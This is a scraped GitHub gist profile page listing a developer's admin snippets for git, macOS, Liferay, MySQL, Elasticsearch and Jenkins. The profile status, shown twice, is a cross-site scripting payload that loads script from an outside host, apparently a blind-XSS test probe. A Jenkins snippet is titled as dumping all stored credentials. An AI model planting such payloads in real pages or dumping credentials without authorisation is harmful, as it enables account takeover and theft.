Skip to content

Instantly share code, notes, and snippets.

View balcsida's full-sized avatar
:octocat:
"><script src=https://balcsida.xss.ht></script>

Dávid Balatoni balcsida

:octocat:
"><script src=https://balcsida.xss.ht></script>
View GitHub Profile
@balcsida
balcsida / gist:82d4e5d3690f3978ca663d1ee4ec5f8d
Created June 2, 2023 20:43
Set Sublime Merge as default git merge tool
git config --global mergetool.smerge.cmd 'smerge mergetool "$BASE" "$LOCAL" "$REMOTE" -o "$MERGED"'
git config --global mergetool.smerge.trustExitCode true
git config --global merge.tool smerge
cd ~/Library
mkdir KeyBindings
touch KeyBindings/DefaultKeyBinding.dict
defaults write com.google.Chrome AppleEnableSwipeNavigateWithScrolls -bool FALSE
#!/usr/bin/env bash
# Required tools:
# - curl
# - 7z (for extracting dmg)
# - docker
curl -LO https://devimages-cdn.apple.com/design/resources/download/SF-Mono.dmg
7z e SF-Mono.dmg 'SFMonoFonts/SF Mono Fonts.pkg'
#!/usr/bin/env bash
readonly INFRASTRUCTURE=liferay.cloud
readonly API_URL=https://api.${INFRASTRUCTURE}
readonly PROJECTS_URL=${API_URL}/projects
while getopts p:e: flag
do
case "${flag}" in
p) PROJECT_ID=${OPTARG};;
e) ENVIRONMENT=${OPTARG};;
@balcsida
balcsida / heapdump.sh
Last active August 25, 2020 08:57
Obtain heapdump through a shell where jmap is not available
#!/usr/bin/env bash
shopt -s dotglob
curl -LO https://github.com/apangin/jattach/releases/download/v1.5/jattach
echo 'adab16e1081aa4fafc91f3f2e44262338a498d8f853d3c6801050889e6389548 jattach' | sha256sum --check --status
chmod +x jattach
./jattach $(pidof java) dumpheap /opt/liferay/data/LiferaySupport/$(hostname)/$(date +%Y_%m_%d-%H_%M).hprof
#!/bin/sh
# you might want to add some user authentication here
mysql -e "show variables; show status" | awk '
{
VAR[$1]=$2
}
END {
MAX_CONN = VAR["max_connections"]
MAX_USED_CONN = VAR["Max_used_connections"]
BASE_MEM=VAR["key_buffer_size"] + VAR["query_cache_size"] + VAR["innodb_buffer_pool_size"] + VAR["innodb_additional_mem_pool_size"] + VAR["innodb_log_buffer_size"]
@balcsida
balcsida / iframe_browser.html
Last active February 26, 2023 20:39
Iframe browser
<script>
(function(d){
var init = function(){
var form = d.getElementById("my_form"), input = d.getElementById("url"), iframe = d.getElementById("browser");
form.addEventListener("submit", function(e){
var val = input.value;
if(val) {
iframe.src = "//" + val;
console.log(val);
}
@balcsida
balcsida / search-bar-ES-6.x-query-with-Result-Rankings.json
Created October 4, 2019 16:49 — forked from lipusz/search-bar-ES-6.x-query-with-Result-Rankings.json
Liferay Portal & DXP 7.2 - Search Bar widget search queries for Elasticsearch
// Keyword: dxp
// Result Rankings:
// - 2 Web Content articles pinned & reorderd
// - 1 Web Content article hidden
{
"from":0,
"size":20,
"query":{
"bool":{
@balcsida
balcsida / decrypt_all_credential_objects_jenkins.groovy
Created July 10, 2019 08:51
Dump the properties of all credential objects
import jenkins.model.Jenkins
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.hudson.plugins.folder.Folder
Set<Credentials> credentials =
CredentialsProvider.lookupCredentials(Credentials.class)

WeDeploy API

Control your WeDeploy cloud services via a simple RESTful api